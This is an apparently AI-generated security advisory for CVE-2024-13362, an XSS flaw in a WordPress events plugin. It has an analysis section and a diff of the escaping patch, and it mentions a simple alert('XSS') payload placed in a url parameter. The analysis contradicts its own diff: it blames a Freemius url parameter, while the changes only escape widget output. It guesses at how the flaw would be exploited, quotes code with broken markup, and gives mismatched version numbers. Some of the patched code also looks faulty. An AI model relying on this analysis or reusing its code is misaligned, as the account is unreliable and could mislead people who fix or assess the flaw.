Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 4, 2026

CVE-2024-13362: Freemius <= 2.10.1 – Reflected DOM-Based Cross-Site Scripting via url Parameter (events-addon-for-elementor)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.2.2
Patched Version 2.2.5
Disclosed April 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2024-13362:

This vulnerability is a Reflected Cross-Site Scripting (XSS) issue affecting multiple plugins and themes for WordPress that use the Freemius SDK library, specifically within the ‘Events Addon for Elementor’ plugin. The vulnerability exists due to insufficient input sanitization and output escaping in several widget rendering functions. An unauthenticated attacker can inject arbitrary web scripts that execute when a user interacts with a crafted link. The CVSS score is 6.1 (Medium), reflecting the need for user interaction.

Root Cause:
The root cause is the failure to sanitize and escape user-supplied data before outputting it into HTML. In the vulnerable code, many widget render functions directly echo or concatenate user-controlled settings (like titles, contents, links, and button texts) into the HTML output without using WordPress escaping functions such as `esc_html()`, `esc_attr()`, or `wp_kses_post()`. For example, in `nabasic-about-me.php` line 811, the variable `$aboutme_content` is output directly: `$content = $aboutme_content ? $aboutme_content : ”;`. Similarly, in `nabasic-process.php` line 1018, `$process_title` is placed inside an `

` tag without escaping: `$title = !empty( $process_title ) ? ‘

‘.$process_title.’

‘ : ”;`. The code diff shows numerous instances across multiple files where values from Elementor settings (which can be influenced by the user via URL parameters or stored content) are interpolated into HTML without sanitization.

Exploitation:
An attacker can craft a URL that passes malicious JavaScript code as a parameter value to a vulnerable widget. For example, if a widget’s title or content field is controlled by a GET parameter (as seen in the Freemius SDK’s cross-site request handling), an attacker could inject `alert(‘XSS’)` into the `url` parameter. When a victim clicks the crafted link, the injected script executes in their browser context. The attack is Reflected XSS because the malicious payload is part of the request and immediately reflected back in the response without being stored on the server. The attack vector typically involves social engineering, such as embedding the malicious link in an email or on another website.

Patch Analysis:
The patch applies proper input sanitization and output escaping across all vulnerable widget files. The key changes include:
– Using `esc_html()` for plain text output (e.g., `nabasic-process.php` changes `$process_title` to `esc_html($process_title)`).
– Using `esc_attr()` for HTML attribute values (e.g., in `naevents-aoec-list.php` and `naevents-ee-list.php`).
– Using `wp_kses_post()` for rich content that should allow some HTML tags (e.g., in `nabasic-about-me.php` and `nabasic-about-us.php`).
– Using `esc_url()` for link URLs (e.g., in `naevents-unique-organizer.php`).
– Additionally, the `naevents_insert_elementor()` function received comprehensive security improvements, including permission checks and status validation, preventing unauthorized access to Elementor content.

Impact:
If exploited, this vulnerability allows an attacker to execute arbitrary JavaScript in the context of a logged-in user’s browser session. This can lead to session hijacking, credential theft, defacement, redirection to malicious sites, or further attacks against the WordPress site (such as creating administrative users if the victim has sufficient privileges). Since the vulnerability requires user interaction (clicking a link), the direct impact is limited, but the potential for phishing and targeted attacks is significant, especially in multi-author environments.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-addon-for-elementor/elementor/lib/lib.php
+++ b/events-addon-for-elementor/elementor/lib/lib.php
@@ -9,19 +9,71 @@
 	exit; // Exit if accessed directly.
 }

-function naevents_insert_elementor($atts){
-  if (!class_exists('ElementorPlugin')){
-      return '';
-  }
-  if (!isset($atts['id']) || empty($atts['id'])){
-      return '';
-  }
-
-  $post_id = $atts['id'];
-  $response = Plugin::instance()->frontend->get_builder_content_for_display($post_id);
-  return $response;
+if ( ! function_exists( 'naevents_insert_elementor' ) ) {
+    function naevents_insert_elementor($atts) {
+        // Check if Elementor exists
+        if (!class_exists('ElementorPlugin')) {
+            return '';
+        }
+
+        // Validate shortcode attributes
+        if (!isset($atts['id']) || empty($atts['id'])) {
+            return '';
+        }
+
+        $post_id = absint($atts['id']); // Sanitize the ID
+
+        // Get the post
+        $post = get_post($post_id);
+        if (!$post) {
+            return '';
+        }
+
+        // Security checks
+        if (!is_user_logged_in()) {
+            // For non-logged in users, only show published posts
+            if ($post->post_status !== 'publish') {
+                return '';
+            }
+        } else {
+            // For logged-in users, check proper permissions
+            if (!current_user_can('read_post', $post_id)) {
+                return '';
+            }
+
+            // Additional status checks
+            $allowed_statuses = array('publish');
+
+            // Allow draft/private viewing only for editors and admins
+            if (current_user_can('edit_posts')) {
+                $allowed_statuses[] = 'draft';
+                $allowed_statuses[] = 'private';
+            }
+
+            if (!in_array($post->post_status, $allowed_statuses)) {
+                return '';
+            }
+        }
+
+        // Verify post type supports Elementor
+        if (!current_theme_supports('elementor') &&
+            !in_array($post->post_type, get_post_types_by_support('elementor'))) {
+            return '';
+        }
+
+        // Get Elementor content with proper error handling
+        try {
+            $response = Plugin::instance()->frontend->get_builder_content_for_display($post_id);
+            return $response;
+        } catch (Exception $e) {
+            if (current_user_can('manage_options')) {
+                return sprintf('Elementor error: %s', esc_html($e->getMessage()));
+            }
+            return '';
+        }
+    }
+    add_shortcode('naevents_elementor_template', 'naevents_insert_elementor');
 }
-add_shortcode('naevents_elementor_template','Elementornaevents_insert_elementor');

 if ( !class_exists('NAEEP_Controls_Helper_Output') ){

--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-about-me.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-about-me.php
@@ -808,7 +808,7 @@
 		$title_link = $aboutme_title_link ? '<a href="'.esc_url($aboutme_title_link).'" '.$aboutme_title_link_attr.'>'.esc_html($aboutme_title).'</a>' : esc_html($aboutme_title);
 		$title = $aboutme_title ? '<h3 class="aboutme-title">'.$title_link.'</h3>' : '';
 		$subtitle = $aboutme_subtitle ? '<h5>'.esc_html($aboutme_subtitle).'</h5>' : '';
-		$content = $aboutme_content ? $aboutme_content : '';
+		$content = $aboutme_content ? wp_kses_post( $aboutme_content ) : '';
 		$aboutme_btn = $aboutme_btn_link ? '<div class="naeep-btn-wrap"><a href="'.esc_url($aboutme_btn_link).'" class="naeep-btn" '.$aboutme_btn_link_attr.'>'.esc_html($aboutme_btn_text).'</a></div>' : '';

 		$output = '<div class="naeep-aboutme-item">
--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-about-us.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-about-us.php
@@ -807,7 +807,7 @@
 		$title_link = $aboutus_title_link ? '<a href="'.esc_url($aboutus_title_link).'" '.$aboutus_title_link_attr.'>'.esc_html($aboutus_title).'</a>' : esc_html($aboutus_title);
 		$title = $aboutus_title ? '<h3 class="aboutus-title">'.$title_link.'</h3>' : '';
 		$subtitle = $aboutus_subtitle ? '<h5>'.esc_html($aboutus_subtitle).'</h5>' : '';
-		$content = $aboutus_content ? $aboutus_content : '';
+		$content = $aboutus_content ? wp_kses_post( $aboutus_content ) : '';
 		$aboutus_btn = $aboutus_btn_link ? '<div class="naeep-link-wrap"><a href="'.esc_url($aboutus_btn_link).'" class="naeep-link" '.$aboutus_btn_link_attr.'>'.esc_html($aboutus_btn_text).'</a></div>' : '';

 		$output = '<div class="naeep-aboutus-item">
--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-gallery.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-gallery.php
@@ -907,7 +907,7 @@
 		$icon_alignment = !empty( $settings['icon_alignment'] ) ? $settings['icon_alignment'] : '';
 		$gallery_item = !empty( $settings['gallery_item'] ) ? $settings['gallery_item'] : '';

-		$gallery_all_filter = $gallery_all_filter ? $gallery_all_filter : esc_html( 'All', 'events-addon-for-elementor' );
+		$gallery_all_filter = $gallery_all_filter ? esc_html($gallery_all_filter) : esc_html( 'All', 'events-addon-for-elementor' );

 		if ($dot_position === 'top'){
 		  $dot_cls = ' dot-top';
--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-get-apps.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-get-apps.php
@@ -829,7 +829,8 @@
 										$btn = $btn_text;
 										$icon = $btn_icon;
 									}
-								  $output .= '<a href="'.esc_url($link_url).'" '.$link_attr.' class="'.esc_attr($style_class).'" style="'.esc_attr($logo_width).' '.esc_attr($logo_height).'">'.$icon.$btn.'</a>';
+
+								  	$output .= '<a href="'.esc_url($link_url).'" '.$link_attr.' class="'.esc_attr($style_class).'" style="'.esc_attr($logo_width).' '.esc_attr($logo_height).'">'.$icon.$btn.'</a>';
 									}
 									$output .= '</div>';
 								}
--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-image-compare.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-image-compare.php
@@ -281,38 +281,18 @@
 		$after_title = $settings['after_title'] ? $settings['after_title'] : '';

 		$compare_id = uniqid();
-		$id = rand(999, 9999);
-
-	  $output = '<div class="naeep-compare-wrap"><div class="naeep-compare compare-'.esc_attr($compare_id).'-'.esc_attr($id).'"></div></div>';
-
-		echo $output; ?>
-
-		<script type="text/javascript">
-
-	    jQuery(document).ready(function($) {
-
-	    	slider = new juxtapose.JXSlider('.compare-<?php echo esc_attr($compare_id); ?>-<?php echo esc_attr($id); ?>',
-		    [
-	        {
-            src: '<?php echo esc_url($before_url); ?>',
-            label: '<?php echo esc_attr($before_title); ?>',
-	        },
-	        {
-            src: '<?php echo esc_url($after_url); ?>',
-            label: '<?php echo esc_attr($after_title); ?>',
-	        }
-		    ],
-		    {
-	        animate: true,
-	        showLabels: <?php echo esc_attr($title); ?>,
-	        showCredits: false,
-	        startingPosition: "<?php echo esc_attr($starting_position); ?>%",
-	        makeResponsive: true,
-	        mode: "<?php echo esc_attr($compare_style); ?>",
-		    });
-
-	    });
-	  </script>
+		$id = rand(999, 9999); ?>
+	    <div class="naeep-compare-wrap">
+	        <div class="naeep-compare <?php echo esc_attr($unique_class); ?>"
+	            data-before-url="<?php echo esc_url($before_url); ?>"
+	            data-before-title="<?php echo esc_attr($before_title); ?>"
+	            data-after-url="<?php echo esc_url($after_url); ?>"
+	            data-after-title="<?php echo esc_attr($after_title); ?>"
+	            data-show-labels="<?php echo esc_attr($title); ?>"
+	            data-starting-position="<?php echo esc_attr($starting_position); ?>"
+	            data-compare-style="<?php echo esc_attr($compare_style); ?>">
+	        </div>
+	    </div>
 	<?php
 	}

--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-process.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-process.php
@@ -1015,7 +1015,7 @@
 					  $icon_main = $process_image;
 					}

-			  	$title = !empty( $process_title ) ? '<h3 class="process-title">'.$process_title.'</h3>' : '';
+			  	$title = !empty( $process_title ) ? '<h3 class="process-title">'.esc_html($process_title).'</h3>' : '';

 				  $output .= '<div class="naeep-process-item'.esc_attr($border_class).'">
 									      <div class="process-info">
--- a/events-addon-for-elementor/elementor/widgets/basic/nabasic-testimonials.php
+++ b/events-addon-for-elementor/elementor/widgets/basic/nabasic-testimonials.php
@@ -1189,23 +1189,24 @@
 			$carousel_autoheight  = ( isset( $settings['carousel_autoheight'] ) && ( 'true' == $settings['carousel_autoheight'] ) ) ? true : false;

 		// Carousel Data's
-			$carousel_loop = $carousel_loop !== 'true' ? ' data-loop="true"' : ' data-loop="false"';
-			$carousel_items = $carousel_items ? ' data-items="'. $carousel_items .'"' : ' data-items="4"';
-			$carousel_margin = $carousel_margin ? ' data-margin="'. $carousel_margin .'"' : ' data-margin="0"';
-			$carousel_dots = $carousel_dots ? ' data-dots="true"' : ' data-dots="false"';
-			$carousel_nav = $carousel_nav ? ' data-nav="true"' : ' data-nav="false"';
-			$carousel_autoplay_timeout = $carousel_autoplay_timeout ? ' data-autoplay-timeout="'. $carousel_autoplay_timeout .'"' : '';
-			$carousel_autoplay = $carousel_autoplay ? ' data-autoplay="true"' : '';
-			$carousel_animate_out = $carousel_animate_out ? ' data-animateout="true"' : '';
-			$carousel_mousedrag = $carousel_mousedrag !== 'true' ? ' data-mouse-drag="true"' : ' data-mouse-drag="false"';
-			$carousel_autowidth = $carousel_autowidth ? ' data-auto-width="true"' : '';
-			$carousel_autoheight = $carousel_autoheight ? ' data-auto-height="true"' : '';
-			$carousel_tablet = $carousel_items_tablet ? ' data-items-tablet="'. $carousel_items_tablet .'"' : ' data-items-tablet="2"';
-			$carousel_mobile = $carousel_items_mobile ? ' data-items-mobile-landscape="'. $carousel_items_mobile .'"' : ' data-items-mobile-landscape="1"';
-			$carousel_small_mobile = $carousel_items_mobile ? ' data-items-mobile-portrait="'. $carousel_items_mobile .'"' : ' data-items-mobile-portrait="1"';
+		$carousel_items = $carousel_items ? $carousel_items : "1";
+		$carousel_tablet = $carousel_items_tablet ? $carousel_items_tablet : "1";
+		$carousel_mobile = $carousel_items_mobile ? $carousel_items_mobile : "1";
+		$carousel_small_mobile = $carousel_items_mobile ? $carousel_items_mobile : "1";
+		$carousel_margin = $carousel_margin ? $carousel_margin : "0";
+		$carousel_autoplay_timeout = $carousel_autoplay_timeout ? $carousel_autoplay_timeout : '';
+		$carousel_loop = ('true' == $carousel_loop) ? "true" : "false";
+		$carousel_dots = ('true' == $carousel_dots) ? "true" : "false";
+		$carousel_nav = ('true' == $carousel_nav) ? "true" : "false";
+		$carousel_autoplay = ('true' == $carousel_autoplay) ? "true" : "false";
+		$carousel_animate_out = ('true' == $carousel_animate_out) ? "true" : "false";
+		$carousel_mousedrag = ('true' == $carousel_mousedrag) ? "true" : "false";
+		$carousel_autowidth = ('true' == $carousel_autowidth) ? "true" : "false";
+		$carousel_autoheight = ('true' == $carousel_autoheight) ? "true" : "false";

 		if ($testimonials_style === 'two') {
-			$output = '<div class="naeep-testimonials"><div class="owl-carousel" '. $carousel_loop . $carousel_items . $carousel_margin . $carousel_dots . $carousel_nav . $carousel_autoplay_timeout . $carousel_autoplay . $carousel_animate_out . $carousel_mousedrag . $carousel_autowidth . $carousel_autoheight  . $carousel_tablet . $carousel_mobile . $carousel_small_mobile .'>';
+
+			$output .= '<div class="owl-carousel" data-items="'. esc_attr( $carousel_items ) .'" data-items-tablet="'. esc_attr( $carousel_items_tablet ) .'" data-items-mobile-landscape="'. esc_attr( $carousel_mobile ) .'" data-items-mobile-portrait="'. esc_attr( $carousel_small_mobile ) .'" data-margin="'. esc_attr( $carousel_margin ) .'" data-autoplay-timeout="'. esc_attr( $carousel_autoplay_timeout ) .'" data-loop="'. esc_attr( $carousel_loop ) .'" data-dots="'. esc_attr( $carousel_dots ) .'" data-nav="'. esc_attr( $carousel_nav ) .'" data-autoplay="'. esc_attr( $carousel_autoplay ) .'" data-animateout="'. esc_attr( $carousel_animate_out ) .'" data-mouse-drag="'. esc_attr( $carousel_mousedrag ) .'" data-auto-width="'. esc_attr( $carousel_autowidth ) .'" data-auto-height="'. esc_attr( $carousel_autoheight ) .'"';

 				if ( !empty( $testimonials_groups ) && is_array( $testimonials_groups ) ){
 					// Group Param Output
--- a/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-accommodation.php
+++ b/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-accommodation.php
@@ -731,25 +731,25 @@
 	 * Written in PHP and used to generate the final HTML.
 	*/
 	protected function render() {
-		$settings = $this->get_settings_for_display();
-		$venue_style = !empty( $settings['venue_style'] ) ? $settings['venue_style'] : '';
-		$venue_image = !empty( $settings['venue_image']['id'] ) ? $settings['venue_image']['id'] : '';
-		$venue_title = !empty( $settings['venue_title'] ) ? $settings['venue_title'] : '';
-		$venue_title_link = !empty( $settings['venue_title_link']['url'] ) ? $settings['venue_title_link']['url'] : '';
+		$settings 			= $this->get_settings_for_display();
+		$venue_style 		= !empty( $settings['venue_style'] ) ? $settings['venue_style'] : '';
+		$venue_image 		= !empty( $settings['venue_image']['id'] ) ? $settings['venue_image']['id'] : '';
+		$venue_title 		= !empty( $settings['venue_title'] ) ? $settings['venue_title'] : '';
+		$venue_title_link 	= !empty( $settings['venue_title_link']['url'] ) ? $settings['venue_title_link']['url'] : '';
 		$venue_title_link_external = !empty( $settings['venue_title_link']['is_external'] ) ? 'target="_blank"' : '';
 		$venue_title_link_nofollow = !empty( $settings['venue_title_link']['nofollow'] ) ? 'rel="nofollow"' : '';
 		$venue_title_link_attr = !empty( $venue_title_link ) ?  $venue_title_link_external.' '.$venue_title_link_nofollow : '';
-		$venue_price = !empty( $settings['venue_price'] ) ? $settings['venue_price'] : '';
-		$venue_price_duration = !empty( $settings['venue_price_duration'] ) ? $settings['venue_price_duration'] : '';
-		$venue_content = !empty( $settings['venue_content'] ) ? $settings['venue_content'] : '';
-		$rating = !empty( $settings['rating'] ) ? $settings['rating'] : '';
-		$venue_location = !empty( $settings['venue_location'] ) ? $settings['venue_location'] : '';
-		$venue_btn_text = !empty( $settings['venue_btn_text'] ) ? $settings['venue_btn_text'] : '';
-		$venue_btn_link = !empty( $settings['venue_btn_link']['url'] ) ? $settings['venue_btn_link']['url'] : '';
+		$venue_price 			= !empty( $settings['venue_price'] ) ? $settings['venue_price'] : '';
+		$venue_price_duration 	= !empty( $settings['venue_price_duration'] ) ? $settings['venue_price_duration'] : '';
+		$venue_content 			= !empty( $settings['venue_content'] ) ? $settings['venue_content'] : '';
+		$rating 				= !empty( $settings['rating'] ) ? $settings['rating'] : '';
+		$venue_location 		= !empty( $settings['venue_location'] ) ? $settings['venue_location'] : '';
+		$venue_btn_text 		= !empty( $settings['venue_btn_text'] ) ? $settings['venue_btn_text'] : '';
+		$venue_btn_link 		= !empty( $settings['venue_btn_link']['url'] ) ? $settings['venue_btn_link']['url'] : '';
 		$venue_btn_link_external = !empty( $settings['venue_btn_link']['is_external'] ) ? 'target="_blank"' : '';
 		$venue_btn_link_nofollow = !empty( $settings['venue_btn_link']['nofollow'] ) ? 'rel="nofollow"' : '';
-		$venue_btn_link_attr = !empty( $venue_btn_link ) ?  $venue_btn_link_external.' '.$venue_btn_link_nofollow : '';
-		$toggle_align = !empty( $settings['toggle_align'] ) ? $settings['toggle_align'] : '';
+		$venue_btn_link_attr 	= !empty( $venue_btn_link ) ?  $venue_btn_link_external.' '.$venue_btn_link_nofollow : '';
+		$toggle_align 			= !empty( $settings['toggle_align'] ) ? $settings['toggle_align'] : '';

 		if ($toggle_align) {
 			$f_class = ' order-1';
--- a/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-calendar-button.php
+++ b/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-calendar-button.php
@@ -285,7 +285,7 @@

 		$btn_icon = $btn_icon ? '<i class="'.esc_attr($btn_icon).'" aria-hidden="true"></i>' : '';

-	  $button = $link_url ? '<a href="'.esc_url($link_url).'" '.$link_attr.' class="naeep-btn">'.$btn_icon.esc_html($btn_text).'</a>' : '';
+	  	$button = $link_url ? '<a href="'.esc_url($link_url).'" '.$link_attr.' class="naeep-btn">'.$btn_icon.esc_html($btn_text).'</a>' : '';

 		$output = '<div class="naeep-btn-wrap">'.$button.'</div>';

--- a/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-organizer.php
+++ b/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-organizer.php
@@ -468,32 +468,32 @@
 					$image_link_nofollow = !empty( $each_logo['image_link']['nofollow'] ) ? 'rel="nofollow"' : '';
 					$image_link_attr = !empty( $image_link ) ?  $image_link_external.' '.$image_link_nofollow : '';

-					$organizer_subtitle = !empty( $each_logo['organizer_subtitle'] ) ? $each_logo['organizer_subtitle'] : '';
-					$organizer_title = !empty( $each_logo['organizer_title'] ) ? $each_logo['organizer_title'] : '';
-					$title_link = !empty( $each_logo['title_link']['url'] ) ? $each_logo['title_link']['url'] : '';
+					$organizer_subtitle = !empty( $each_logo['organizer_subtitle'] ) ? esc_html($each_logo['organizer_subtitle']) : '';
+					$organizer_title = !empty( $each_logo['organizer_title'] ) ? esc_html($each_logo['organizer_title']) : '';
+					$title_link = !empty( $each_logo['title_link']['url'] ) ? esc_url($each_logo['title_link']['url']) : '';
 					$title_link_external = !empty( $each_logo['title_link']['is_external'] ) ? 'target="_blank"' : '';
 					$title_link_nofollow = !empty( $each_logo['title_link']['nofollow'] ) ? 'rel="nofollow"' : '';
 					$title_link_attr = !empty( $title_link ) ?  $title_link_external.' '.$title_link_nofollow : '';
 					$organizer_content = !empty( $each_logo['organizer_content'] ) ? $each_logo['organizer_content'] : '';

 					$organizer_more = !empty( $each_logo['organizer_more'] ) ? $each_logo['organizer_more'] : '';
-					$organizer_more_link = !empty( $each_logo['organizer_more_link'] ) ? $each_logo['organizer_more_link'] : '';
+					$organizer_more_link = !empty( $each_logo['organizer_more_link'] ) ? esc_url($each_logo['organizer_more_link']) : '';
 					$more_link_url = !empty( $organizer_more_link['url'] ) ? esc_url($organizer_more_link['url']) : '';
 					$more_link_external = !empty( $organizer_more_link['is_external'] ) ? 'target="_blank"' : '';
 					$more_link_nofollow = !empty( $organizer_more_link['nofollow'] ) ? 'rel="nofollow"' : '';
 					$more_link_attr = !empty( $organizer_more_link['url'] ) ?  $more_link_external.' '.$more_link_nofollow : '';

 					$link = $title_link ? '<a href="'.$title_link.'" '.$title_link_attr.'>'.$organizer_title.'</a>' : $organizer_title;
-			  	$title = !empty( $organizer_title ) ? '<h3 class="organizer-title">'.$link.'</h3>' : '';
+			  		$title = !empty( $organizer_title ) ? '<h3 class="organizer-title">'.$link.'</h3>' : '';

-			  	$subtitle = !empty( $organizer_subtitle ) ? '<h5>'.$organizer_subtitle.'</h5>' : '';
-					$content = $organizer_content ? '<p>'.$organizer_content.'</p>' : '';
+			  		$subtitle = !empty( $organizer_subtitle ) ? '<h5>'.$organizer_subtitle.'</h5>' : '';
+					$content = $organizer_content ? '<p>'.esc_html( $organizer_content ).'</p>' : '';

-		  		$button = !empty($more_link_url) ? '<div class="naeep-link-wrap"><a href="'.$more_link_url.'" '.$more_link_attr.' class="naeep-link">'.$organizer_more.'</a></div>' : '';
+		  			$button = !empty($more_link_url) ? '<div class="naeep-link-wrap"><a href="'.$more_link_url.'" '.$more_link_attr.' class="naeep-link">'.esc_html( $organizer_more ).'</a></div>' : '';

 					$image_url = wp_get_attachment_url( $organizer_image );

-					$link_image = $image_link ? '<div class="naeep-image"><a href="'.$image_link.'" '.$image_link_attr.'><img src="'.$image_url.'" alt="'.$organizer_title.'"></a></div>' : '<div class="naeep-image"><img src="'.$image_url.'" alt="'.$organizer_title.'"></div>';
+					$link_image = $image_link ? '<div class="naeep-image"><a href="'.esc_url($image_link).'" '.$image_link_attr.'><img src="'.$image_url.'" alt="'.$organizer_title.'"></a></div>' : '<div class="naeep-image"><img src="'.esc_url($image_url).'" alt="'.$organizer_title.'"></div>';
 					$image = $image_url ? $link_image : ''; ?>

 				  <div class="<?php echo esc_attr($col_class); ?>">
--- a/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-pricing.php
+++ b/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-pricing.php
@@ -620,16 +620,16 @@

 		$title = $pricing_title ? '<h4 class="price-subtitle">'.esc_html($pricing_title).'</h4>' : '';
 		$price = $pricing_price ? '<h2 class="price-title">'.esc_html($pricing_price).'</h2>' : '';
-  	$button = $pricing_btn_link ? '<div class="naeep-btn-wrap"><a href="'.esc_url($pricing_btn_link).'" '.$pricing_btn_link_attr.' class="naeep-btn">'.esc_html($pricing_btn).'</a></div>' : '';
+  		$button = $pricing_btn_link ? '<div class="naeep-btn-wrap"><a href="'.esc_url($pricing_btn_link).'" '.$pricing_btn_link_attr.' class="naeep-btn">'.esc_html($pricing_btn).'</a></div>' : '';

-  	$tickets = $total_tickets ? ($filled_tickets/$total_tickets) : '';
-  	$tickets_percent = $tickets ? ($tickets*100) : '';
+  		$tickets = $total_tickets ? ($filled_tickets/$total_tickets) : '';
+  		$tickets_percent = $tickets ? ($tickets*100) : '';

-  	if ($disable_animation) {
-  		$btn_cls = ' no-hover';
-  	} else {
-  		$btn_cls = '';
-  	}
+	  	if ($disable_animation) {
+	  		$btn_cls = ' no-hover';
+	  	} else {
+	  		$btn_cls = '';
+	  	}

 		$output = '<div class="naeep-price-item naeep-item'.$btn_cls.'">
 	              '.$title.$price.'
@@ -652,7 +652,7 @@
 										  $output .= '<li'.$disable_class.'>'. do_shortcode($pricing_text) .'</li>';
 									  }
 									}
-    $output .= '</ul>
+				$output .= '</ul>
 	              '.$button.'
 	            </div>';

--- a/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-venues.php
+++ b/events-addon-for-elementor/elementor/widgets/event-unique/naevents-unique-venues.php
@@ -718,7 +718,7 @@
 						    <div class="naeep-grid-info">
 						      <ul class="schedule-meta">
 						      	<?php if ($schedule_date) { ?>
-					      		<li><i class="fa fa-calendar" aria-hidden="true"></i> <?php echo $schedule_date; ?></li>
+					      		<li><i class="fa fa-calendar" aria-hidden="true"></i> <?php echo esc_html($schedule_date); ?></li>
 						      	<?php } ?>
 						      </ul>
 						      <?php echo $title.$content.$button; ?>
--- a/events-addon-for-elementor/elementor/widgets/event/naevents-aoec-list.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-aoec-list.php
@@ -694,15 +694,15 @@

 			$display_filters = $display_filters ? 'true' : 'false';

-			$view = $event_view ? ' view="'.$event_view.'"' : '';
-			$category = $cat_name ? ' cat_name="'.implode(',', $cat_name).'"' : '';
-			$tag = $tag_name ? ' tag_name="'.implode(',', $tag_name).'"' : '';
-			$post_id = $post_id ? ' post_id="'.implode(',', $post_id).'"' : '';
-			$filters = $display_filters ? ' display_filters="'.$display_filters.'"' : '';
-			$limit = $event_limit ? ' events_limit="'.$event_limit.'"' : '';
-			$exact_date = $exact_date ? ' exact_date="'.$exact_date.'"' : '';
+			$view = $event_view ? ' view="'.esc_attr( $event_view ).'"' : '';
+			$category = $cat_name ? ' cat_name="'.implode(',', esc_attr( $cat_name )).'"' : '';
+			$tag = $tag_name ? ' tag_name="'.implode(',', esc_attr( $tag_name )).'"' : '';
+			$post_id = $post_id ? ' post_id="'.implode(',', esc_attr( $post_id )).'"' : '';
+			$filters = $display_filters ? ' display_filters="'.esc_attr( $display_filters ).'"' : '';
+			$limit = $event_limit ? ' events_limit="'.esc_attr( $event_limit ).'"' : '';
+			$exact_date = $exact_date ? ' exact_date="'.esc_attr( $exact_date ).'"' : '';

-	  	$output = '<div class="naeep-aoec-list">'.do_shortcode( '[ai1ec'. $view . $category . $tag . $post_id . $filters . $limit . $exact_date .']' ).'</div>';
+	  		$output = '<div class="naeep-aoec-list">'.do_shortcode( '[ai1ec'. $view . $category . $tag . $post_id . $filters . $limit . $exact_date .']' ).'</div>';

 		  echo $output;

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-ee-attendees.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-ee-attendees.php
@@ -151,10 +151,10 @@
 			$show_gravatar 		= !empty( $settings['show_gravatar'] ) ? $settings['show_gravatar'] : '';
 			$show_gravatar = $show_gravatar ? 'true' : 'false';

-			$event_id = $event_id ? ' event_id="'.$event_id.'"' : '';
-			$show_gravatar = $show_gravatar ? ' show_gravatar="'.$show_gravatar.'"' : '';
+			$event_id = $event_id ? ' event_id="'.esc_attr( $event_id ).'"' : '';
+			$show_gravatar = $show_gravatar ? ' show_gravatar="'.esc_attr( $show_gravatar ).'"' : '';

-	  	$output = '<div class="naeep-ee-attendees">'.do_shortcode( '[ESPRESSO_EVENT_ATTENDEES'.$event_id.$show_gravatar.']' ).'</div>';
+	  		$output = '<div class="naeep-ee-attendees">'.do_shortcode( '[ESPRESSO_EVENT_ATTENDEES'.$event_id.$show_gravatar.']' ).'</div>';

 		  echo $output;

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-ee-list.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-ee-list.php
@@ -545,14 +545,14 @@
 			$show_expired = $show_expired ? 'true' : 'false';
 			$show_title = $show_title ? 'true' : 'false';

-			$show_expired = $show_expired ? ' show_expired="'.$show_expired.'"' : '';
-			$title = $title ? ' title="'.$title.'"' : '';
-			$limit = $event_limit ? ' limit="'.$event_limit.'"' : '';
-			$month = $month ? ' month="'.$month.'"' : '';
-			$show_title = $show_title ? ' show_title="'.$show_title.'"' : '';
-			$order = $event_order ? ' sort="'.$event_order.'"' : '';
-			$orderby = $event_orderby ? ' order_by="'.implode(',', $event_orderby).'"' : '';
-			$category = $event_category ? ' category_slug="'.$event_category.'"' : '';
+			$show_expired = $show_expired ? ' show_expired="'.esc_attr($show_expired).'"' : '';
+			$title = $title ? ' title="'.esc_attr($title).'"' : '';
+			$limit = $event_limit ? ' limit="'.esc_attr($event_limit).'"' : '';
+			$month = $month ? ' month="'.esc_attr($month).'"' : '';
+			$show_title = $show_title ? ' show_title="'.esc_attr($show_title).'"' : '';
+			$order = $event_order ? ' sort="'.esc_attr($event_order).'"' : '';
+			$orderby = $event_orderby ? ' order_by="'.implode(',', esc_attr($event_orderby)).'"' : '';
+			$category = $event_category ? ' category_slug="'.esc_attr($event_category).'"' : '';

 	  	$output = '<div class="naeep-ee-list">'.do_shortcode( '[ESPRESSO_EVENTS'. $show_expired . $title . $limit . $month . $show_title . $order . $orderby . $category .']' ).'</div>';

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-ee-ticket-selector.php
+++ b/events-addon-for-elementor/elementor/widgets/event/naevents-ee-ticket-selector.php
@@ -528,9 +528,9 @@
 			$settings = $this->get_settings_for_display();
 			$event_id 		= !empty( $settings['event_id'] ) ? $settings['event_id'] : '';

-			$event_id = $event_id ? ' event_id="'.$event_id.'"' : '';
+			$event_id = $event_id ? ' event_id="'.esc_attr( $event_id ).'"' : '';

-	  	$output = '<div class="naeep-ee-ticket naeep-form">'.do_shortcode( '[ESPRESSO_TICKET_SELECTOR'. $event_id .']' ).'</div>';
+	  		$output = '<div class="naeep-ee-ticket naeep-form">'.do_shortcode( '[ESPRESSO_TICKET_SELECTOR'. $event_id .']' ).'</div>';

 		  echo $output;

--- a/events-addon-for-elementor/elementor/widgets/event/naevents-em-calendar.php
